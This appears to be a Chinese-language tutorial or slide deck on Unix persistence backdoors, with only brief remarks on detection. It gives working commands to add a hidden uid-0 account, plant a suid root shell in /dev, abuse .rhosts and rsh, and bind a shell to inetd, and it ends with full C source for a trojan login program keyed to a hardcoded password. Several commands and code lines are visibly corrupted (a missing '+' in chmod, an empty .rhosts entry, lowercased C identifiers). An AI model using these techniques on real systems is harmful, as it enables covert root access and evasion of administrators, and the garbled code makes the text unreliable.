后门简介  
  入侵者完全控制系统后,为方便下次进入而采用的一种技术。  
  一般通过修改系统配置文件和安装第三方后门工具来实现。  
  具有隐蔽性,能绕开系统日志,不易被系管理员发现等特点。  
常用后门技术  
  增加超级用户账号  
  破解/嗅探用户密码  
  放置suid shell  
  rhosts      
  利用系统服务程序  
  tcp/udp/icmp shell  
  crontab定时任务  
  共享库文件  
  工具包rootkit  
  可装载内核模块(lkm)  
增加超级用户  
  # echo "e4gle:x:0:0::/:/bin/sh" >>  
  /etc/passwd  
  # echo "e4gle::-1:-1:-1:-1:-1:-1:500" >>  
  /etc/shadow  
  如果系统不允许uid=0的用户远程登录,  
  还需要增加一个普通用户账号。  
破解/嗅探用户密码  
  获得shadow文件后,用john the ripper  
  工具破解薄弱的用户密码。  
  安装sniffit等嗅探工具,监听telnet、ftp等  
  端口,收集用户密码。  
放置suid shell  
  # cp /bin/bash /dev/.rootshell  
  # chmod u s /dev/.rootshell  
  普通用户在本机运行/dev/.rootshell,即  
  可获得一个root权限的shell。  
rhosts      
  # echo "   " > /.rhosts  
  # rsh -l root victim.com csh -i  
  远程可以得到一个rootshell。  
利用系统服务程序  
  修改/etc/inetd.conf,  
  daytime stream tcp nowait /bin/sh sh -i  
  用trojan程序替换in.telnetd、in.rexecd等  
  inted的服务程序  
  重定向login程序  
tcp/udp/icmp shell  
  bindshell,大部分是基于tcp/udp协议  
  的网络服务程序,在高端口监听,很容易  
  被发现。  
  ping backdoor,通过icmp包激活后门,  
  形成一个shell通道。  
  tcp ack数据包后门,能够穿越防火  
  墙。  
crontab定时任务  
  通过crontab程序调度已安装的后门程序  
  定时运行,一般在深夜时段,是系统管理  
  员不在线的时间。  
共享库文件  
  在共享库中嵌入后门函数  
  使用后门口令激活shell,获得权限  
  能够躲避系统管理员对二进制文件本身的  
  校验  
工具包rootkit  
  包含一系列系统及后门工具:  
  - 清除日志中的登录记录  
  - 伪装校验和  
  - 替换netstat、ps等网络工具  
  - 后门登录程序  
  易于安装和使用  
可装载内核模块(lkm)  
  lkm:loadable kernel modules  
  动态的加载,不需要重新编译内核。  
  截获系统调用,具有隐藏目录、文件、进  
  程、网络连接等强大功能。  
  自身隐蔽性好,发现难度较大。  
  著名的lkm包有adore和knark。  
后门的检测  
  以自己的经验,结合特定的工具,手工作  
  一些检测。  
  使用tripwire或md5校验来检查系统。  
  借助ids系统,监听到目标机器的可疑网  
  络连接。  
实例:login后门  
  入侵者先把原始的/bin/login备份,再用一  
  段程序替换/bin/login。入侵者telnet登录  
  进来的时候,通过环境变量或者终端类型  
  传递了正确的后门密码,将直接获得一个  
  shell;如果是普通用户登录,将会重定  
  向到原始的login文件,来处理正常的登  
  录。  
  最简单的login后门ulogin.c源代码如下:  
实例:login后门  
  #include <stdio.h>  
  #define password "password"  
  #define _path_login "/sbin/logins"  
  main (argc, argv, envp)  
  int argc;  
  char **argv, **envp;  
  {  
           char *display = getenv("display");  
           if ( display == null ) {  
                          execve(_path_login, argv, envp);  
                          perror(_path_login);  
                          exit(1);  
           }  
           if (!strcmp(display,password)) {  
                          system("/bin/csh");  
                          exit(1);  
           }  
           execve(_path_login, argv, envp);  
           exit(1);  
  }
						
						
					
            
        
     
    
            
            
    
发表评论